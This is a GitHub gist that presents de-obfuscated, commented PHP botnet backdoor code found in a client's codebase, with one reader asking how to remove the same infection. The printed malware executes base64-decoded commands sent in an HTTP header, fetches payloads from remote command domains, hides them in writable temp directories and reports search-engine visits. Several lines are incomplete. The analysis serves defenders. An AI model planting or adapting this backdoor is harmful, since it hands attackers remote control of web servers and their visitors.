Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
After de-obfuscating and commenting the botnet slave code I found in a client's codebase, this is what I ended up with.
// "!defined('determinator') == "include_once" for sneaky people.
if (!defined("determinator")){
function determinator_feof($file_pointer, &$now = NULL) {
// Assigning a value to $now in this function changes
// the value of whatever variable the calling function
// passed in. Functions with side effects... huzzah!
$now = microtime(true);
// Have we reached the end of the file?
return feof($file_pointer);
function getfile($domain, $path){
// Try to change their PHP config to allow file_get_contents to
// grab files via HTTP.
@ini_set('allow_url_fopen', 1);
// If we can use file_get_contents to grab our payload, do that.
if (@ini_get('allow_url_fopen') == '1') {
$file=@file_get_contents('http://' . $domain . $path. '&way=file_get_contents');
return $file;
// Otherwise see if curl is installed and use that instead.
} elseif (function_exists('curl_init')){
$curl_obj = @curl_init();
@curl_setopt($curl_obj, CURLOPT_URL, 'http://' . $domain . $path. '&way=curl';
@curl_setopt($curl_obj, CURLOPT_HEADER,false);
@curl_setopt($curl_obj, CURLOPT_RETURNTRANSFER,true);
@curl_setopt($curl_obj, CURLOPT_CONNECTTIMEOUT, 5);
$file = @curl_exec($curl_obj);
if (empty($file)){
$file = '';
return $file;
// No curl or file_get_contents? *sigh*
// Then just use sockets.
} else {
$socket = @fsockopen($domain, 80, $errno, $errstr, 5);
if ($socket) {
$file = '';
$now = NULL;
@fputs($socket, "GET {$path}&way=socket HTTP/1.0\r\nHost: {$domain}\r\n");
$user_agent = PHP_OS.'/'.PHP_VERSION;
@fputs($socket, "User-Agent: {$user_agent}\r\n\r\n");
// As long as we haven't reached the end of the file
// and checking to see if we've reached the end of the
// file takes less than two milliseconds, read in more
// of the file.
while(!determinator_feof($socket, $now)
&& (microtime(true) - $now) < 2){
$file .= @fgets($socket, 128);
// Remove the response headers and return the file.
$file_parts = explode("\r\n\r\n", $file);
return implode("\r\n\r\n", $file_parts);
// These are the domains we'll be grabbing our payloads from.
$domains = Array('', '', '');
function write($filename,$data){
// Writes data to a file, suppressing any errors with @.
if ($file=@fopen($filename,'w')){
function output($message_type, $message){
// Sends a response to our botnet overlords.
echo 'Y_'.$message_type.':'.$message."\r\n";
// Try to change PHP's config to suppress error messages and
// suppress any resulting error message with @.
@ini_set('display_errors', 0);
// This line works with the first line to allow us to spew our
// vile botnet code all over the victim's files without having to
// worry about it accidentally running twice. It's a sneaky person's
// "include_once" for inline code.
define('determinator', 1);
// Defining some variables we'll be using later.
// Wipe out all $_GET request parameters that contain
// "union" or "select." (Not sure why, but the botnet
// overlords surely have their reasons.)
foreach ($_GET as $arg=>$value){
if (strpos($value,'union')){
} elseif (strpos($value,'select')){
// Try setting the request's URI to our script name and then appending
// the query string to the end of it.
if(!isset($_SERVER['REQUEST_URI'])) {
// Try setting $request_uri to the server's request uri, whether or not
// we were successful in mutating it above. If we succeed in that...
if ($request_uri=$http_host.@$_SERVER['REQUEST_URI']){
// ...then calculate the server's botnet name and find a temp
// directory we can write to!
$tmp_dirs = Array(
foreach ($tmp_dirs as $tmp_dir){
if (!empty($tmp_dir)){
if (@is_writable($tmp_dir)){
$writeable_dir = $tmp_dir;
// We're going to save the payload from our botnet overlords
// as a hidden file in the writeable temp directory we found
// above, naming it after our own botnet name. (Probably because
// that'll make it harder for people to figure out if they're infected.)
// Are our botnet overlords asking for our status?
if (@$_SERVER["HTTP_Y_AUTH"]==$exploited_server_id){
// Tell them what version of the slave code we're running.
echo "\r\n";
@output('versio', $version.'-'.$ftp13.'-php');
// Do they come with commands? Execute them!
if ($command=$base64_decode(@$_SERVER['HTTP_EXECPHP'])){
echo "\r\n";
@output('out', 'ok');
// Our duty is done.
// If we already have a payload file, execute it.
if (@is_file($payload_file)){
// Otherwise check to see if we're being spidered by a search engine.
// If we are, let our botnet overlords know so they can send us a
// payload ASAP. We're mostly interested in websites people will be
// going to, and our botnet overlords seem to think a visit from a
// search engine spider is a pretty good indication that outside
// traffic will be forthcoming.
} else {
$user_agent = @strtolower(@$_SERVER['HTTP_USER_AGENT']);
foreach (explode(',', 'google,yahoo,bing,msnbot,ask,baidu,yandex') as $search_engine){
if (strpos($user_agent, $search_engine)!==False){
if (@touch($payload_file)){
$file_uri = '/pg.php?u='.$request_uri.'&k='.$exploited_server_id.'&t=php&p='.$ftp13.'&v='.$version;
$file_contents = getfile($domains[0], $file_uri);
// Create an empty payload file. We don't want to
// notify our botnet overlords more than once!
// They get grumpy when we do that. D:)
// We don't need to check for the rest of the search
// engine names in the request's HTTP_USER_AGENT once
// we've found one.

This comment has been minimized.

Copy link

@krukru krukru commented Feb 18, 2016

I recently got infected with the same payload. I have a hard time finding out how I got infected.
Could you please share you experience with finding and permanently removing the malicious code?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.